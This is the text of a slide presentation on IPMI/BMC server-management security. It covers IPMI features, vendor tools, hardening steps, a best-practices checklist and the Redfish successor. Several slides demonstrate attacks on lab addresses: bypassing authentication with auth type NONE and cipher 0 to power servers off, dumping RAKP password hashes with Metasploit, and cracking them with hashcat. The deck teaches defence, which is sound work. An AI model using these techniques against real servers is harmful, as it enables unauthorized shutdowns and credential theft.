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Do you / your customers use IPMI?

Yes No Don't know

(Intelligent Platform Management Interface)



Do you / your customers use ...
iLO, DRAC, ALOM, ILOM, IMM, RSA, iRMC, IMC …?

Yes No Don't know



Can everyone power off your 
server?

Yes No Don't know



ipmitool \
  -I lanplus -C 0 \
  -H 10.1.102.152 \
  -U admin -P FluffyWabbit \
  power off

Yes No Don't know

Can everyone power off your 
server?
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Why IPMI?



1) Recovery Control

_ Power On

_ Power Off

_ Reset



2) Monitoring

_ Temperatures,

_ Fans,

_ Power Supplies, ...

_ Centralized Monitoring
e.g. via Icinga, Nagios, ...



3) Logging

_ System Event Log



4) Inventory

_ Serial Numbers
(Field Replaceable 
Unit – FRU – Data)



Outside IPMI Spec

_ Web Services

_ Remote KVM/CD/DVD

_ IPMI & BIOS Updates

_ IPMI & BIOS Settings

_ „Magic“ Vendor-specific add-ons



Example: Supermicro SUM

_ Supermicro Update Manager

_ Update & Management of BIOS and 
Firmware Image

_ Configuration
_ Text files → file import possible

_ Two Channels
_ In-band → local System Interfaces

_ Out-of-band (OOB) → BMC, IPMI Interface
_ OS-independent (also without OS)



Example: Supermicro SUM

$ ./sum -i 10.1.102.120 -u ADMIN -p ADMIN -c GetCurrentBiosCfgTextFile --file bios-X10-cfg.txt
Supermicro Update Manager (for UEFI BIOS) 1.4.2 (2015/09/23) (x86_64)
Copyright©2015 Super Micro Computer, Inc. All rights reserved
..............
.....
File "bios-X10-cfg.txt" is created.
$ head bios-X10-cfg.txt 
#Please refer to SUM User's guide '4.1 Format of BIOS Settings Text File' for usage.

[Advanced|Boot Feature]
Quiet Boot=01                           // 00 (Disabled), *01 (Enabled)        
AddOn ROM Display Mode=01               // 00 (Keep Current), *01 (Force BIOS)        
Bootup Num-Lock=01                      // 00 (Off), *01 (On)        
[...]

_ OOB (Out-of-band) BIOS Management



Example: Supermicro SUM

_ OOB (Out-of-band) BIOS Management
_ Update of the BIOS configuration possible

_ Update of the BIOS/UEFI firmware (Web or command line)

$ ./sum -i 10.1.102.120 -u ADMIN -p ADMIN -c ChangeBiosCfg
--file bios-X10-new-cfg.txt
[...]
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BMC
(IPMI Baseboard

Management Controller)
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Level Description

Callback Lowest Privilege Level.
Only allows initializing a callback.

User Only IPMI “begin” commands are 
allowed. Mainly for reading sensor 
information.

Operator All BMC commands except those for 
changing the out-of-band interfaces are 
allowed.

Administrator All BMC commands are allowd.

IPMI Priviledge Levels



So far so good?

Intelligent? Platform Management 
Interface?





The Eavesdropping 
System in Your 

Computer
(Bruce Schneier, Schneier on Security Blog 31.01.2013)

https://www.schneier.com/blog/archives/2013/01/the_eavesdroppi.html




230.000 1U servers
→ 10.223,5 m heigt

(Mount Everest 8.848 m)
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2004
IPMI 2.0,

2013 (9 y. later)
Rev 1.1



1) Auth Type NONE

Authentication Types
include 'none', ...

IPMI Spec. 2.0 Rev. 1.1, S. 21

http://www.intel.com/content/www/us/en/servers/ipmi/ipmi-second-gen-interface-spec-v2-rev1-1.html


1) Auth Type NONE
server:~ # ipmitool lan print 1
Set in Progress         : Set Complete
Auth Type Support       : NONE MD2 MD5 PASSWORD OEM
Auth Type Enable        : Callback : NONE MD2 MD5 PASSWORD
                        : User     : NONE MD2 MD5 PASSWORD
                        : Operator : NONE MD2 MD5 PASSWORD
                        : Admin    : NONE MD2 MD5 PASSWORD
                        : OEM      : 
IP Address Source       : Static Address
IP Address              : 10.1.102.150
[…]

$ ipmitool -I lan -H 10.1.102.150 -U admin -A NONE power status
Chassis Power is on
$ ipmitool -I lan -H 10.1.102.150 -U admin -A NONE power off
Chassis Power Control: Down/Off
$ ipmitool -I lan -H 10.1.102.150 -U admin -A NONE power status
Chassis Power is off



1) Auth Type NONE

https://www.thomas-krenn.com/de/wiki/NONE_Authentifizierung_bei_IPMI_deaktivieren  

Only activate
'MD5'

server:~ # ipmitool lan set 1 auth Callback MD5
server:~ # ipmitool lan set 1 auth User MD5
server:~ # ipmitool lan set 1 auth Operator MD5
server:~ # ipmitool lan set 1 auth Admin MD5
server:~ # ipmitool lan set 1 auth OEM MD5
[do this also for additional lan channels 2, 3, ...)

https://www.thomas-krenn.com/de/wiki/NONE_Authentifizierung_bei_IPMI_deaktivieren


IPMI Spec. 2.0 Rev. 1.1, S. 292

2) Cipher 0

http://www.intel.com/content/www/us/en/servers/ipmi/ipmi-second-gen-interface-spec-v2-rev1-1.html


2) Cipher 0

Quelle: Wikimedia Commons

$ ipmitool -I lanplus -H 10.1.102.152 -U admin -P **** lan print
[…]
RMCP+ Cipher Suites     : 0,1,2,3,6,7,8,11,12
Cipher Suite Priv Max   : aaaaXXaaaXXaaXX
$ ipmitool -I lanplus -C 0 -H 10.1.102.152 \
  -U admin -P FluffyWabbit user list
ID  Name      Callin  Link AuthIPMI Msg   Channel Priv Limit
1                    false   false      true       ADMINISTRATOR
2   admin            false   false      true       ADMINISTRATOR
3   monitoring       true    true       true       USER

http://commons.wikimedia.org/wiki/File:Curious_Gray_Rabbit.jpg


2) Cipher 0

Only activate
'Cipher 3'

server:~ # ipmitool lan set 1 cipher_privs XXXaXXXXXXXXXXX
[also for further lan Channels 2, 3, ...)



3) RAKP+ Dump Hashes

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes 
msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.1.102.141
RHOSTS => 10.1.102.141
msf auxiliary(ipmi_dumphashes) > set THREADS 128
THREADS => 128
msf auxiliary(ipmi_dumphashes) > run

[+] 10.1.102.141:623 - IPMI - Hash found: 
admin:14667523250000004ec525d3852f4fa73c93b674788217fe00000000000000
00000000000000000000000000000000000000000000000000140561646d696e:2c7
6e372d89ac7cd4e3bfecb423962f708d0741c 

In short, the authentication process for IPMI 2.0 mandates 
that the server send a salted SHA1 or MD5 hash of the 
requested user's password to the client, prior to the client 
authenticating.

A Penetration Tester's Guide to IPMI and BMCs  (rapid7.com)

https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi


3) RAKP+ Dump Hashes

$ ./cudaHashcat64.bin --outfile=ipmi.out -m 7300 hash.txt -a 3 ?lu?
lu?lu?lu?lu?lu
[...]
Session.Name...: cudaHashcat
Status.........: Exhausted
Input.Mode.....: Mask (?lu?lu?lu?lu?lu?lu) [12]
Hash.Target....: 
54414378fb2db5ff365e4bc5856adaf4c1b8a2f2153efd1b81fb54dfe1bf56478788
ea7ba154375b40167e34f026e1020010d21d1ea31625040561646d696e:0a0b16023
1e204a6d0bd086e26718002409b35b7
Hash.Type......: IPMI2 RAKP HMAC-SHA1
Time.Started...: Thu Sep 18 10:11:17 2014 (6 secs)
Time.Estimated.: 0 secs
Speed.GPU.#1...: 52732.3 kH/s
Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 308915776/308915776 (100.00%)
Skipped........: 0/308915776 (0.00%)
Rejected.......: 0/308915776 (0.00%)
HWMon.GPU.#1...: -1% Util, 41c Temp, 31% Fan



3) RAKP+ Dump Hashes

My advice:
strong usernames

& passwords

sjfaiklaz
(Admin)

afjhuijoh
(User)

20
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IPMI Firmware Developers

_ Avocent
_ e.g. for Dell, IBM, Cisco, 

Gigabyte

_ AMI
_ e.g. for ASUS, Tyan

_ ATEN
_ e.g. for Supermicro

_ AND: manufacturer-
specific adaptations



Risk: IPMI failover NIC



Risk: IPMI failover NIC



Risk: IPMI failover NIC

Use
dedicated NIC

or VLAN



It should be obvious ...

Administrative accesses such as IPMI 
or SSH services should not be operated 
openly on the Internet, but should only 
be accessible to authorized persons via 

firewall/VPN.



What if I do?

Enable

&DROP



Risk: unnecessary open services



Risk: unnecessary open services

Deactivate
them



Risk: outdated embedded Linux

_ Outdated Software Compontents, e.g.
_ OpenSSL

_ NTP

_ Webserver

_ SSH

_ ...



Risk: outdated embedded Linux

Upgrade your
Firmware



IPMI/BMC Security Advisories

_ Supermicro / Thomas-Krenn
http://www.supermicro.com/products/nfo/files/IPMI/CVE_Update.pdf  
https://www.thomas-krenn.com/de/wiki/IPMI_Sicherheit  

_ HP
http://www.hp.com/support , z.B. http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c01850906  

_ IBM
https://www.ibm.com/blogs/PSIRT 

_ Dell
http://www.dell.com/support/article/us/en/19/SLN156429/EN  

_ Oracle / SUN
https://docs.oracle.com/cd/E37444_01/html/E37451/index.html  

_ Fujitsu
http://manuals.ts.fujitsu.com/file/4289/sm-security-en.pdf  

_ Cisco
http://www.cisco.com/web/about/security/intelligence/IPMI_security.html  

http://www.supermicro.com/products/nfo/files/IPMI/CVE_Update.pdf
https://www.thomas-krenn.com/de/wiki/IPMI_Sicherheit
http://www.hp.com/support
http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c01850906
https://www.ibm.com/blogs/PSIRT
http://www.dell.com/support/article/us/en/19/SLN156429/EN
https://docs.oracle.com/cd/E37444_01/html/E37451/index.html
http://manuals.ts.fujitsu.com/file/4289/sm-security-en.pdf
http://www.cisco.com/web/about/security/intelligence/IPMI_security.html
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Future:
Redfish        



What is Redfish?

_ Succession Architecture of IPMI

_ New approach to management standardization

_ Modern, easier and safer than IPMI
_ JSON Format

_ Security by HTTPs

_ Multi-Node and Rack-Server capable

_ Schema-based, human-readable output

_ Industry Standard
_ Low vendor lock-in



What is REST?

_ REpresentational State Transfer

_ Replaces SOAP

_ Easy to learn

_ Uses standard HTTP
operations

_ GET

_ POST

_ PUT

_ DELETE



What is JSON?

_ Java Script Object Notation

_ Compact Data Format
_ Easy to read and change text form for people

_ Easy to parse and generate for machines

_ Better suited for data structures
_ XML better for documents



Redfish Data Model

_ Service root „/redfish/v1“
_ /Systems

_ /Managers

_ /Chassis

_ ...



Redfish Data Model

_ /redfish/v1/Managers
_ BMC information

_ /redfish/v1/Systems
_ Logical view Logische Sicht auf das Computersystem

_ CPUs, boot order, NICs, ...

_ /redfish/v1/Chassis
_ Physical view of the infrastructure

_ Chassis information
_ Sensors, fans, racks, chassis, blades



Example: Chrome Postman



Example: Adv. Rest Client
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IPMI Best Practices Checklist

_ Upgrade your IPMI Firmware

_ Run IPMI in a separate LAN

_ Deactivate unneeded Services

_ Strong user names and passwords 

_ Monitoring: only IPMI User rights

_ EOL: flash IPMI Firmware /
destroy motherboard





Stay save,
secure your IPMI



(Further Reading)

_ IPMI – because ACPI and UEFI weren't terrifying enough 
http://lca2015.linux.org.au/slides/152/lca_ipmi_2015.odp

_ A Penetration Tester's Guide to IPMI and BMCs
https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi 

_ IPMI research by Dan Farmer
http://fish2.com/ipmi/ 

http://lca2015.linux.org.au/slides/152/lca_ipmi_2015.odp
https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi
http://fish2.com/ipmi/


Sources
_ http://commons.wikimedia.org/wiki/File:Curious_Gray_Rabbit.jpg

_ https://openclipart.org/detail/168588/Sheep%20using%20a%20switch

_ https://openclipart.org/detail/168520/Music%20sheep

_ https://openclipart.org/detail/205610/Thermometer%20icon%20with%20min%2Fmax%20indicator

_ https://openclipart.org/detail/168519/Dusty%20sheep

_ https://openclipart.org/detail/97543/Text%20File%20Icon 

_ https://openclipart.org/detail/168585/Knight%20sheep

_ https://openclipart.org/detail/174886/Black%20box%20abstract 

_ http://www.heise.de/security/meldung/Sicherheitsexperte-warnt-vor-Server-Fernwartung-1911321.html 

_ http://www.heise.de/security/meldung/Hunderttausende-Server-ueber-Fernwartungsprotokolle-angreifbar-2216899.html 

_ http://en.wikipedia.org/wiki/File:Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg

_ https://openclipart.org/detail/192895/Science%20Guy 

_ https://openclipart.org/detail/71467/muscle

http://commons.wikimedia.org/wiki/File:Curious_Gray_Rabbit.jpg
https://openclipart.org/detail/168588/Sheep%20using%20a%20switch
https://openclipart.org/detail/168520/Music%20sheep
https://openclipart.org/detail/205610/Thermometer%20icon%20with%20min%2Fmax%20indicator
https://openclipart.org/detail/168519/Dusty%20sheep
https://openclipart.org/detail/97543/Text%20File%20Icon
https://openclipart.org/detail/168585/Knight%20sheep
https://openclipart.org/detail/174886/Black%20box%20abstract
http://www.heise.de/security/meldung/Sicherheitsexperte-warnt-vor-Server-Fernwartung-1911321.html
http://www.heise.de/security/meldung/Hunderttausende-Server-ueber-Fernwartungsprotokolle-angreifbar-2216899.html
http://en.wikipedia.org/wiki/File:Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg
https://openclipart.org/detail/192895/Science%20Guy
https://openclipart.org/detail/71467/muscle
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